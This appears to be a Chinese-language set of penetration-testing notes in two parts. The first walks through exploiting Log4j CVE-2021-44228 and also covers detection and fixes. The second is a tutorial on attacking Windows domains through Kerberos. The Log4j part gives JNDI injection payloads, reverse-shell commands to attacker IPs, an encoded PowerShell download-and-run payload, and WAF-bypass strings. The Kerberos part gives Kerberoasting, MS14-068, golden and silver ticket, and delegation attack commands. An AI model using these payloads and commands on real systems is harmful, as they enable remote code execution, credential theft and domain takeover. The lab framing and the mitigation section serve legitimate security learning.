本地环境本地环境:java版本8u181,tomcat8.5.32源码包:链接:https://pan.baidu.com/s/1STgDdVb4QUm9r0t9wZZA-Q 提取码:uodmROOT.war为Tomcat启动包,删除webapps目录下的ROOT目录,将ROOT.war放入Tomcat的webapps目录下,启动Tomcat即可 0x03 漏洞利用一、linux环境下dnslog回显注意:Content-Type: application/x-www-form-urlencodedpost: payload=${jndi:ldap://ti851c.dnslog.cn}dnslog回显:二、win环境下dnslog回显注意:Content-Type: application/x-www-form-urlencodedpost: payload=${jndi:ldap://ti851c.dnslog.cn}dnslog回显: 三、linux环境下命令回显注意Content-Type: application/x-www-form-urlencoded payload=${jndi:ldap://192.168.1.14:2222/TomcatBypass/TomcatEcho} 这里用到JNDIExploit-1.2-SNAPSHOT.jar工具启一个ldap服务https://download1320.mediafire.com/8nkrfr49l20g/dm0qgwujkwcy585/JNDIExploit.v1.2.zipjava -jar JNDIExploit-1.2-SNAPSHOT.jar -l 2222 -p 8988 -i 0.0.0.0执行,成功回显 四、win环境下命令回显 1.注意Content-Type: application/x-www-form-urlencoded 这里用到JNDIExploit-1.2-SNAPSHOT.jar工具启一个ldap服务 https://download1320.mediafire.com/8nkrfr49l20g/dm0qgwujkwcy585/JNDIExploit.v1.2.zip java -jar JNDIExploit-1.2-SNAPSHOT.jar -l 2222 -p 8988 -i 0.0.0.0 2.这个是输入的payload:${jndi:ldap://10.206.14.240:2222/Basic/TomcatEcho},使用的话IP修改为自己的起JNDI服务的IP即可,将刚才的包放入repeater,执行命令,添加自定义的header,cmd:whoami来执行 执行命令,并发送数据包,成功回显 五、linux环境下反弹shell1.JDK下载与安装(需要JDK1.8121 版本以下)JDK下载地址:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html2.攻击机上执行linux进行nc反弹监听命令 nc -nvlp 2333 3.生成bash反弹命令的payload bash -i >& /dev/tcp/192.168.1.14/2333 0>&1 4.在线网站对其payload进行编码 https://www.jackson-t.ca/runtime-exec-payloads.html 得到:bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTQvMjMzMyAgMD4mMQ==}|{base64,-d}|{bash,-i} 5.启动一个ldap服务 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjEuMTQvMjMzMyAgMD4mMQ==}|{base64,-d}|{bash,-i}" -A "192.168.1.14"6.发送payload(这里ldap协议不太行,换成rmi协议可以)因为java版本高于1.8.0_191之后,不会默认开启ldap,所以我们这里需要选择用rmi的方式来进行攻击。注意Content-Type: application/x-www-form-urlencoded payload=${jndi:rmi://192.168.1.14:1099/zxeiar} 7.成功拿到shell 六、win环境下反弹shell1.kali下msf生成powershell use exploit/multi/script/web_delivery set payload payload/windows/x64/powershell_reverse_tcpset lhost 10.206.14.54 set target 2 run2.生成的POCpowershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABZAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAFkALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABZAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMgAwADYALgAxADQALgA1ADQAOgA4ADAAOAAwAC8ASABKAEYAaABTAHoASQBnAEsAOQAvAGkATgByAHIAagBiAFoAUwBYAGUAMQBQAEUARQBPACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAyADAANgAuADEANAAuADUANAA6ADgAMAA4ADAALwBIAEoARgBoAFMAegBJAGcASwA5ACcAKQApADsA3.本地或vps启动服务github下载JNDI-Injection-Exploit poc:https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0 java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "powershell.exe -nop -w hidden -e WwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAUwBlAGMAdQByAGkAdAB5AFAAcgBvAHQAbwBjAG8AbAA9AFsATgBlAHQALgBTAGUAYwB1AHIAaQB0AHkAUAByAG8AdABvAGMAbwBsAFQAeQBwAGUAXQA6ADoAVABsAHMAMQAyADsAJABZAD0AbgBlAHcALQBvAGIAagBlAGMAdAAgAG4AZQB0AC4AdwBlAGIAYwBsAGkAZQBuAHQAOwBpAGYAKABbAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBQAHIAbwB4AHkAXQA6ADoARwBlAHQARABlAGYAYQB1AGwAdABQAHIAbwB4AHkAKAApAC4AYQBkAGQAcgBlAHMAcwAgAC0AbgBlACAAJABuAHUAbABsACkAewAkAFkALgBwAHIAbwB4AHkAPQBbAE4AZQB0AC4AVwBlAGIAUgBlAHEAdQBlAHMAdABdADoAOgBHAGUAdABTAHkAcwB0AGUAbQBXAGUAYgBQAHIAbwB4AHkAKAApADsAJABZAC4AUAByAG8AeAB5AC4AQwByAGUAZABlAG4AdABpAGEAbABzAD0AWwBOAGUAdAAuAEMAcgBlAGQAZQBuAHQAaQBhAGwAQwBhAGMAaABlAF0AOgA6AEQAZQBmAGEAdQBsAHQAQwByAGUAZABlAG4AdABpAGEAbABzADsAfQA7AEkARQBYACAAKAAoAG4AZQB3AC0AbwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AMQAwAC4AMgAwADYALgAxADQALgA1ADQAOgA4ADAAOAAwAC8ASABKAEYAaABTAHoASQBnAEsAOQAvAGkATgByAHIAagBiAFoAUwBYAGUAMQBQAEUARQBPACcAKQApADsASQBFAFgAIAAoACgAbgBlAHcALQBvAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcAA6AC8ALwAxADAALgAyADAANgAuADEANAAuADUANAA6ADgAMAA4ADAALwBIAEoARgBoAFMAegBJAGcASwA5ACcAKQApADsA" -A "192.168.1.7"4.协议根据实际情况使用,这里使用rmi协议发送数据包。${jndi:rmi://10.206.14.240:1099/6lwxbt}5.在msf中成功反弹win本地的shell. 0x04 判断方式只需排查Java应用是否引入 log4j-api , log4j-core 两个jar。若存在应用使用,极大可能会受到影响。0x05 漏洞排查1.代码排查:查看 pom.xml 是否引入 org.apache.logging.log4j、org.apache.logging.log4j2 2.linux下命令排查: sudo find / -name "*log4j-*.jar" 3.Win下命令排查: *log4j*.jar4.BurpLog4j2Scan被动扫描bp插件https://github.com/tangxiaofeng7/BurpLog4j2Scan/releases/download/v1.1/BurpLog4j2Scan-1.0-SNAPSHOT.jar 0x06 修复方式1、升级版本至log4j-2.15.0 https://github.com/apache/logging-log4j2/releases/tag/log4j-2.15.0-rc2 2、升级 jdk11.0.1,8u191,7u201,6u211 至更高版本 紧急缓解措施 1、修改jvm 在启动项添加参数 -Dlog4j2.formatMsgNoLookups=true 2、将系统环境变量 FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置 为 true 3、修改配置 log4j2.formatMsgNoLookups=True 0x07 绕过技巧1.绕过rc1${jndi:ldap://127.0.0.1:1389/ badClassName}2.绕过WAF${${::-j}${::-n}${::-d}${::-i}:${::-r}${::-m}${::-i}://asdasd.asdasd.asdasd/poc} ${${::-j}ndi:rmi://asdasd.asdasd.asdasd/ass} ${jndi:rmi://adsasd.asdasd.asdasd} ${${lower:jndi}:${lower:rmi}://adsasd.asdasd.asdasd/poc} ${${lower:${lower:jndi}}:${lower:rmi}://adsasd.asdasd.asdasd/poc} ${${lower:j}${lower:n}${lower:d}i:${lower:rmi}://adsasd.asdasd.asdasd/poc} ${${lower:j}${upper:n}${lower:d}${upper:i}:${lower:r}m${lower:i}}://xxxxxxx.xx/poc}3.rce对jdk版本要求比较严格:rmi方式jdk 6u132 7u131 8u121以前;ldap方式jdk11.0.1 8u191 7u201 6u211以前0x08 参考文献https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce https://github.com/jas502n/Log4j2-CVE-2021-44228 https://github.com/0x727/JNDIExploit https://github.com/whwlsfb/Log4j2Scan/ https://github.com/dbgee/log4j2_rcehttps://github.com/bkfish/Apache-Log4j-Learninghttps://www.o2oxy.cn/3884.htmlhttps://www.wangt.cc/2021/12/%EF%BC%88%E7%8E%AF%E5%A2%83%E6%90%AD%E5%BB%BA%E5%A4%8D%E7%8E%B0%EF%BC%89cve-2021-44228-apache-log4j-%E8%BF%9C%E7%A8%8B%E4%BB%A3%E7%A0%81%E6%89%A7%E8%A1%8C%E6%BC%8F%E6%B4%9E/ https://www.skyzyw.com/article/18855.html http://www.dmkxy.me/2021/12/10/Apache%20Log4j%20RCE%E6%BC%8F%E6%B4%9E/https://syunaht.com/p/2341403076.html
  22. 0X00 域渗透-Kerberos1.Kerberos简介在Kerberos认证中,最主要的问题是如何证明“你是你”的问题,如当一个Client去访问Server服务器上的某服务时,Server如何判断Client是否有权限来访问自己主机上的服务,同时保证在这个过程中的通讯内容即使被拦截或篡改也不影响通讯的安全性,这正是Kerberos解决的问题。在域渗透过程中Kerberos协议的攻防也是很重要的存在。 2.Kerberos协议框架在Kerberos协议中主要是有三个角色的存在: 访问服务的Client提供服务的ServerKDC(Key Distribution Center)密钥分发中心 其中KDC服务默认会安装在一个域的域控中,而Client和Server为域内的用户或者是服务,如HTTP服务,SQL服务。在Kerberos中Client是否有权限访问Server端的服务由KDC发放的票据来决定。 如果把Kerberos中的票据类比为一张火车票,那么Client端就是乘客,Server端就是火车,而KDC就是就是车站的认证系统。如果Client端的票据是合法的(由你本人身份证购买并由你本人持有)同时有访问Server端服务的权限(车票对应车次正确)那么你才能上车。当然和火车票不一样的是Kerberos中有存在两张票,而火车票从头到尾只有一张。 由上图中可以看到KDC又分为两个部分: Authentication Server: AS的作用就是验证Client端的身份(确定你是身份证上的本人),验证通过就会给一张TGT(Ticket Granting Ticket)票给Client。 Ticket Granting Server: TGS的作用是通过AS发送给Client的票(TGT)换取访问Server端的票(上车的票ST)。ST(ServiceTicket)也有资料称为TGS Ticket,为了和TGS区分,在这里就用ST来说明。 KDC服务框架中包含一个KRBTGT账户,它是在创建域时系统自动创建的一个账号,可以暂时理解为他就是一个无法登陆的账号。 3.Kerberos认证流程当Client想要访问Server上的某个服务时,需要先向AS证明自己的身份,然后通过AS发放的TGT向Server发起认证请求,这个过程分为三块: The Authentication Service Exchange:Client与AS的交互 The Ticket-Granting Service (TGS) Exchange:Client与TGS的交互 The Client/Server Authentication Exchange:Client与Server的交互 (1)TheAuthentication Service Exchange KRB_AS_REQ Client->AS:发送 Authenticator1(Client 密码加密 TimeStamp) 第一步 Client 先向 KDC 的 AS 发送 Authenticator1,内容为通过 Client 密码 Hash 加密的时间戳、ClientID、网络地址、加密类型等内容。 KRB_AS_REP AS-> Client:发送 Client 密码加密的 sessionkey-as 和票据 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp) 在 KDC 中存储了域中所有用户的密码 HASH,当 AS 接收到 Client 的请求之后会根据 KDC 中存储的密码来解密,解密成功并且验证信息。验证成功后返回给 Client 由 Client 密码 HASH 加密的 sessionkey-as 和 TGT(由 KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp 等信息)。 (2)TheTicket-Granting Service (TGS) Exchange KRB_TGS_REQ Client ->TGS 发送 Authenticator2 (sessionkey-as 加密 TimeStamp) 和票据 TGT(KRBTGT HASH 加密的 sessionkey-as 和 TimeStamp) Client 接收到了加密后的 Sessionkey-as 和 TGT 之后,用自身密码解密得到 Sessionkey-as,TGT 是由 KDC 密码加密,Client 无法解密。这时 Client 再用 Sessionkey-as 加密 TimeStamp 和 TGT 一起发送给 KDC 中的 TGS(TicketGranting Server)票据授权服务器换取能够访问 Server 的票据。 KRB_TGS_REP TGS-> Client 发送 密文 1(sessionkey-as 加密 sessionkey-tgs) 和 票据 ST(Server 密码 HASH 加密 sessionkey-tgs) TGS 收到 Client 发送过来的 TGT 和 Sessionkey-as 加密的 TimeStamp 之后,首先会检查自身是否存在 Client 所请求的服务。如果服务存在,则用 KRBTGT 密码解密 TGT。一般情况下 TGS 会检查 TGT 中的时间戳查看 TGT 是否过期,且原始地址是否和 TGT 中保存的地址相同。验证成功之后将用 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的 Sessionkey-tgs 发送给 Client。 (3)TheClient/Server Authentication Exchange KRB_AP_REQ Client ->Server 发送 Authenticator3(sessionkey-tgs 加密 TimeStamp) 和票据 ST(Server 密码 HASH 加密 sessionkey-tgs) Client 收到 sessionkey-as 加密的 sessionkey-tgs 和 Server 密码 HASH 加密的 sessionkey-tgs 之后用 sessionkey-as 解密得到 sessionkey-tgs,然后把 sessionkey-tgs 加密的 TimeStamp 和 ST 一起发送给 Server。 KRB_AP_REP Server-> Client server 通过自己的密码解密 ST,得到 sessionkey-tgs, 再用 sessionkey-tgs 解密 Authenticator3 得到 TimeStamp,验证正确返回验证成功。 0X01 域渗透-SPN 1.SPN 简介服务主体名称(SPN:ServicePrincipal Names)是服务实例(可以理解为一个服务,比如 HTTP、MSSQL)的唯一标识符。Kerberos 身份验证使用 SPN 将服务实例与服务登录帐户相关联。如果在整个林或域中的计算机上安装多个服务实例,则每个实例都必须具有自己的 SPN。如果客户端可能使用多个名称进行身份验证,则给定服务实例可以具有多个 SPN。SPN 始终包含运行服务实例的主机的名称,因此服务实例可以为其主机的每个名称或别名注册 SPN。 如果用一句话来说明的话就是如果想使用 Kerberos 协议来认证服务,那么必须正确配置 SPN。 2.SPN 格式与配置在 SPN 的语法中存在四种元素,两个必须元素和两个额外元素,其中和为必须元素: <serviceclass>/<host>:<port>/<service name> <service class>:标识服务类的字符串 <host>:服务所在主机名称 <port>:服务端口 <service name>:服务名称 例: 为 SQL Server 服务帐户注册SPN 手动注册: setspn -A MSSQLSvc/myhost.redmond.microsoft.com:1433 accountname 对应的命名实例: setspn -A MSSQLSvc/myhost.redmond.microsoft.com/instancename accountname 如果我想把域中一台主机Srv-DB-0day中的 MSSQL 服务注册到 SPN 中则可以使用命令: setspn -A MSSQLSvc/Srv-DB-0day.Oday.org:1433 sqladmin 可以通过下面两个命令来查看已经注册的 SPN。 setspn -q */* setspn -T 0day.org -q */* 3.SPN扫描在了解了 Kerberos 和 SPN 之后,可以通过 SPN 来获取想要的信息,比如想知道域内哪些主机安装了什么服务,就不需要再进行批量的网络端口扫描。在一个大型域中通常会有不止一个的服务注册 SPN,所以可以通过「SPN 扫描」的方式来查看域内的服务。相对于通常的网络端口扫描的优点是不用直接和服务主机建立连接,且隐蔽性更高。 4.扫描工具GetUserSPNsGetUserSPNs 是 Kerberoast 工具集中的一个 powershell 脚本,用来查询域内注册的 SPN。 Import-module .\GetUserSPNs.ps1 PowerViewPowerView 是由 Will Schroeder(https://twitter.com/harmj0y)开发的 Powershell 脚本,在 Powersploit 和 Empire 工具里都有集成,PowerView 相对于上面几种是根据不同用户的 objectsid 来返回,返回的信息更加详细。 Import-module .\powerview.ps1 Get-NetUser -SPN 5.原理说明在 SPN 扫描时可以直接通过脚本,或者命令去获悉内网已经注册的 SPN 内容。那如果想了解这个过程是如何实现的,就需要提到 LDAP 协议。 LDAP 协议全称是 LightweightDirectory Access Protocol,一般翻译成轻量目录访问协议。是一种用来查询与更新 Active Directory 的目录服务通信协议。AD 域服务利用 LDAP 命名路径(LDAP naming path)来表示对象在 AD 内的位置,以便用它来访问 AD 内的对象。 LDAP 数据的组织方式: 更直观的说可以把 LDAP 协议理解为一个关系型数据库,其中存储了域内主机的各种配置信息。 在域控中默认安装了 ADSI 编辑器,全称 ActiveDirectory Service Interfaces Editor (ADSI Edit),是一种 LDAP 的编辑器,可以通过在域控中运行 adsiedit.msc 来打开(服务器上都有,但是只有域控中的有整个域内的配置信息)。 通过 adsiedit.msc 我们可以修改和编辑 LADP,在 SPN 查询时实际上就是查询 LADP 中存储的内容。 比如在我们是实验环境域 0day.org中,存在名为运维组 的一个 OU(OrganizationUnit,可以理解为一个部门,如行政、财务等等),其中包含了 sqlsvr 这个用户,从用户属性中可以看到 sqlsvr 注册过的 SPN 内容。 在一台主机执行 setspn -T 0day.org -q */* 命令查询域内 SPN 时,通过抓包可以看到正是通过 LDAP 协议向域控中安装的 LDAP 服务查询了 SPN 的内容。 如图在主机192.168.3.62上执行目录,在域控192.168.3.142可以看到LDAP协议的流量。 流量中的查询结果: Powershell 脚本其实主要就是通过查询 LDAP 的内容并对返回结果做一个过滤,然后展示出来。 6.Kerberoasting介绍 Kerberos 的认证流程时说到,在 KRB_TGS_REP 中,TGS 会返回给 Client 一张票据 ST,而 ST 是由 Client 请求的 Server 端密码进行加密的。当 Kerberos 协议设置票据为 RC4 方式加密时,我们就可以通过爆破在 Client 端获取的票据 ST,从而获得 Server 端的密码。 下图为设置 Kerberos 的加密方式,在域中可以在域控的「本地安全策略」中进行设置: 设置RC4 方式加密。 设置完成之后运行里输入「gpupdate」刷新组策略,策略生效。 7.Kerberoasting攻击方式一一、在域内主机 PC-Jack 中通过 Kerberoast 中的 GetUserSPNs.vbs 进行 SPN 扫描。 cscript GetUserSPNs.vbs 二、根据扫描出的结果使用微软提供的类 KerberosRequestorSecurityToken 发起 kerberos 请求,申请 ST 票据。 PS C:\> Add-Type -AssemblyName System.IdentityModel PS C:\> New-Object System.IdentityModel.Tokens.KerberosRequestorSecurityToken -ArgumentList "MSSQLSvc/Srv-Web-Kit.rootkit.org" 三、Kerberos 协议中请求的票据会保存在内存中,可以通过 klist 命令查看当前会话存储的 kerberos 票据。 使用 mimikatz 导出。 kerberos::list /export 使用 kerberoast 工具集中的 tgsrepcrack.py 工具进行离线爆破,成功得到jerry账号的密码admin!@#45 python2 tgsrepcrack.py wordlist.txt "1-40a10000-jerry@MSSQLSvc~Srv-Web-Kit.rootkit.org-ROOTKIT.ORG.kirbi" 8.Kerberoasting攻击方式二Kerberoasting攻击方式一中需要通过 mimikatz 从内存中导出票据,Invoke-Kerberoast 通过提取票据传输时的原始字节,转换成 John the Ripper 或者 HashCat 能够直接爆破的字符串。 使用 Invoke-Kerberoast 脚本 (这里使用的是 Empire 中的 Invoke-Kerberoast.ps1)。 Import-module Invoke-Kerberoast.ps1 Invoke-kerberoast -outputformat hashcat |fl –outputformat 参数可以指定输出的格式,可选 John the Ripper 和 Hashcat 两种格式 二、使用 HASHCAT 工具进行破解: PSC:> hashcat64.exe –m 13100 test1.txt password.list --force 9.Impacket 进行Kerberoasting这里要用到impacket工具包,该工具包用于对SMB1-3或IPv4 / IPv6 上的TCP、UDP、ICMP、IGMP,ARP,IPv4,IPv6,SMB,MSRPC,NTLM,Kerberos,WMI,LDAP等协议进行低级编程访问。这里我们使用的是GetUserSPNs工具,可使用该工具对目标主机进行SPN探测。 https://github.com/SecureAuthCorp/impacket 官方仓库https://github.com/maaaaz/impacket-examples-windows 有人已将各个脚本打包成相应的exe,此处绝大部分也都将全部用这些exe单文件来进行操作 其命令用法如下: python GetUserSPNs.py -request -dc-ip x.x.x.x 域名称/域用户 输入当前域用户的密码,即可的到票据。 同样对票据进行爆破。 hashcat64.exe –m 13100 test1.txt password.list --force 0X02 域渗透-MS14-0681.MS14-068MS14068是一个能够使普通用户提权到域控权限的权限提升漏洞。攻击者可以通过构造特定的请求包来达到提升权限的目的。 2.利用方式攻击流程: MS14-068对应的补丁为KB3011780,可在域控上通过systeminfo查看是否安装此补丁。 一、在域内主机jerry上通过dir来访问域控的共享文件夹,示拒绝访问。 dir \\OWA2010SP3.0day.org\c$ 二、通过Pykek工具利用漏洞,我这里使用的是将python脚本编译之后的exe文件。 参数说明: MS14-068.exe -u [email protected] -p admin!@#45 -s S-1-5-21-1812960810-2335050734-3517558805-1142 -d OWA2010SP3.0day.org 脚本执行成功会在当前目录下生成一个ccache文件。 三、使用mimikatz导入生成的ccache文件,导入之前cmd下使用命令klist purge或者在mimikatz中使用kerberos::purge删除当前缓存的kerberos票据。 klist purge kerberos::ptc [email protected] 再次dir访问域控共享就可以成功访问。 dir \\OWA2010SP3.0day.org\c$ 3.goldenPac.exeimpacket工具包里面的goldenPac.py,这个工具是结合ms14-068加psexec的产物,利用起来十分顺手。 这里用到的是编译的exe文件。 goldenPac.exe 0day.org/sqladmin:admin!@#[email protected] 当然此工具不止是得到一个shell,我们甚至可以直接让该域控运行我们上传的程序。 这个漏洞中主要的问题是存在于KDC会根据客户端指定PAC中数字签名的加密算法,以及PAC的加密算法,来校验PAC的合法性。这使得攻击者可通过伪造PAC,修改PAC中的SID,导致KDC判断攻击者为高权限用户,从而导致权限提升漏洞的产生。 0X03 域渗透-Ticket1.GoldenTicket简介Golden Ticket(下面称为金票)是通过伪造的TGT(TicketGranting Ticket),因为只要有了高权限的TGT,那么就可以发送给TGS换取任意服务的ST。可以说有了金票就有了域内的最高权限。 制作金票的条件: 利用过程金票的生成需要用到krbtgt的密码HASH值,可以通过mimikatz中的 lsadump::dcsync /OWA2010SP3.0day.org /user:krbtgt 命令获取krbtgt的值。 得到KRBTGT HASH之后使用mimikatz中的kerberos::golden功能生成金票golden.kiribi,即为伪造成功的TGT。 参数说明: kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi 通过mimikatz中的kerberos::ptt功能(Pass The Ticket)将golden.kiribi导入内存中。 kerberos::purge kerberos::ptt golden.kiribi kerberos::list 此时就可以通过dir成功访问域控的共享文件夹。 dir \\OWA2010SP3.0day.org\c$ 2.SilverTickets简介Silver Tickets(下面称银票)就是伪造的ST(Service Ticket),因为在TGT已经在PAC里限定了给Client授权的服务(通过SID的值),所以银票只能访问指定服务。 制作银票的条件: 利用过程首先我们需要知道服务账户的密码HASH,这里同样拿域控来举例,通过mimikatz查看当前域账号administrator的HASH值。注意,这里使用的不是Administrator账号的HASH,而是OWA2010SP3$的HASH sekurlsa::logonpasswords 这时得到了OWA2010SP3$的HASH值,通过mimikatz生成银票。 参数说明: kerberos::golden /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /target:OWA2010SP3.0day.org /service:cifs /rc4:125445ed1d553393cce9585e64e3fa07 /user:silver /ptt 这时通过klist查看当前会话的kerberos票据可以看到生成的票据。 使用dir \\OWA2010SP3.0day.org\c$访问DC的共享文件夹。 3.EnhancedGolden Tickets在Golden Ticket部分说明可利用krbtgt的密码HASH值生成金票,从而能够获取域控权限同时能够访问域内其他主机的任何服务。但是普通的金票不能够跨域使用,也就是说金票的权限被限制在当前域内。 域树与域林在下图中 UKNOWSEC.CN 为其他两个域的根域,NEWS.UKNOWSEC.CN和 DEV.UKNOWSEC.CN 均为 UKNOWSEC.CN的子域,这三个域组成了一个域树。子域的概念可以理解为一个集团在不同业务上分公司,他们有业务重合的点并且都属于 UKNOWSEC.CN这个根域,但又独立运作。同样 TEST.COM 也是一个单独的域树,两个域树 UKONWSE.CN 和 TEST.CN 组合起来被称为一个域林。 4.普通金票的局限性在上图中说到UKNOWSEC.CN为其他两个域(NEWS.UKNOWSEC.CN和DEV.UKNOWSEC.CN)的根域,根域和其他域的最大的区别就是根域对整个域林都有控制权。而域正是根据Enterprise Admins组来实现这样的权限划分。 Enterprise Admins组 EnterpriseAdmins组是域中用户的一个组,只存在于一个林中的根域中,这个组的成员,这里也就是UKNOWSEC.CN中的Administrator用户(不是本地的Administrator,是域中的Administrator)对域有完全管理控制权。 UKNOWSEC.CN的域控上Enterprise Admins组的RID为519. Domain Admins组 子域中是不存在EnterpriseAdmins组的,在一个子域中权限最高的组就是Domain Admins组。NEWS.UKNOWSEC.CN这个子域中的Administrator用户,这个Administrator有当前域的最高权限。 5.突破限制普通的黄金票据被限制在当前域内,在2015年Black Hat USA中国外的研究者提出了突破域限制的增强版的黄金票据。通过域内主机在迁移时LDAP库中的SIDHistory属性中保存的上一个域的SID值制作可以跨域的金票。 如果知道根域的SID那么就可以通过子域的KRBTGT的HASH值,使用mimikatz创建具有 EnterpriseAdmins组权限(域林中的最高权限)的票据。 然后通过mimikatz重新生成包含根域SID的新的金票 kerberos::golden /admin:administrator /domain:news.uknowsec.cn /sid:XXX /sids:XXX /krbtgt:XXX /startoffset:0 /endin:600 /renewmax:10080 /ptt Startoffset和endin分别代表偏移量和长度,renewmax表示生成的票据的最长时间。 注意这里是不知道根域UKONWSEC.CN的krbtgt的密码HASH的,使用的是子域NEWS.UKNOWSEC.CN中的KRBTGT的密码HASH。 然后就可以通过dir访问DC. UKNOWSEC的共享文件夹,此时的这个票据票是拥有整个域林的控制权的。 6.Referencehttps://www.freebuf.com/articles/system/196434.html 0X04 域渗透-Delegation1.委派在域中如果出现A使用Kerberos身份验证访问域中的服务B,而B再利用A的身份去请求域中的服务C,这个过程就可以理解为委派。 User访问主机s2上的HTTP服务,而HTTP服务需要请求其他主机的SQLServer数据库,但是S2并不知道User是否有权限访问SQLServer,这时HTTP服务会利用User的身份去访问SQLServer,如果User有权限访问SQLServer服务才能访问成功。 而委派主要分为非约束委派(Unconstraineddelegation)和约束委派(Constrained delegation)两个方式。 2.非约束委派非约束委派在Kerberos中实现时,User会将从KDC处得到的TGT发送给访问的service1(可以是任意服务),service1拿到TGT之后可以通过TGT访问域内任意其他服务,所以被称为非约束委派。 流程: 可以看到在前5个步骤中User向KDC申请了两个TGT(步骤2和4),一个用于访问Service1一个用于访问Service2,并且会将这两个都发给Service1。并且Service1会将TGT2保存在内存中。 非约束委派的设置: Windows域中可以直接在账户属性中设置: 3.约束委派由于非约束委派的不安全性,微软在windows2003中发布了约束委派的功能。约束委派在Kerberos中User不会直接发送TGT给服务,而是对发送给service1的认证信息做了限制,不允许service1代表User使用这个TGT去访问其他服务。这里包括一组名为S4U2Self(Service for User to Self)和S4U2Proxy(Service forUser to Proxy)的Kerberos协议扩展。 从下图可以看到整个过程其实可以分为两个部分,第一个是S4U2Self的过程(流程1-4),第二个是S4U2Proxy的过程(流程5-10)。 流程: 在这个过程中,S4U2Self扩展的作用是让Service1代表用户向KDC验证用户的合法性,并且得到一个可转发的ST1。S4U2Proxy的作用可以说是让Service1代表用户身份通过ST1重新获取ST2,并且不允许Service1以用户的身份去访问其他服务。更多的细节可以参考官方的文档,和RFC4120的内容。 同时注意forwardable字段,有forwardable标记为可转发的是能够通过S4U2Proxy扩展协议进行转发的,如果没有标记则不能进行转发。 约束委派的配置: 可以在账户属性中将SRV-DB-ODAY的委派方式更改为约束委派 4.发现域中的委派主机或账户在域中,可以通过PowerView脚本来搜索开启了委派的主机和用户。查询非约束委派主要是通过搜索userAccountControl属性包含ADS_UF_TRUSTED_FOR_DELEGATION的主机或账户。而约束委派则通过查询userAccountControl属性包含TRUSTED_TO_AUTH_FOR_DELEGATION的主机或用户。 非约束委派通过Import-Module PowerView.ps1加载PowerView脚本之后使用下面的命令进行查询。 查询域中配置非约束委派的账户: Get-NetUser -Unconstrained -Domain rootkit.org 查询域中配置非约束委派的主机: Get-NetComputer -Unconstrained -Domain rootkit.org 约束委派查询域中配置约束委派的账户: Get-DomainUser -TrustedToAuth -Domain rootkit.org 查询域中配置约束委派的主机: Get-DomainComputer -TrustedToAuth -Domain rootkit.org 6.委派攻击利用非约束委派的利用假设已经获取了一个已经配置了委派的账户权限或者是密码,现在我们通过这些条件来攻击其他账户。 在域中只有服务账户才能有委派功能,所以先把用户sqladmin设置为服务账号。 setspn -U -A variant/golden sqladmin setspn -l sqladmin 查看配置成功。 然后在“AD用户和计算机”中将sqladmin设置为非约束委派模式 在域控上使用Administrator访问sqladmin所在主机Srv-Web-Kit的SMB服务。 dir \\Srv-Web-Kit.rootkit.org\c$ 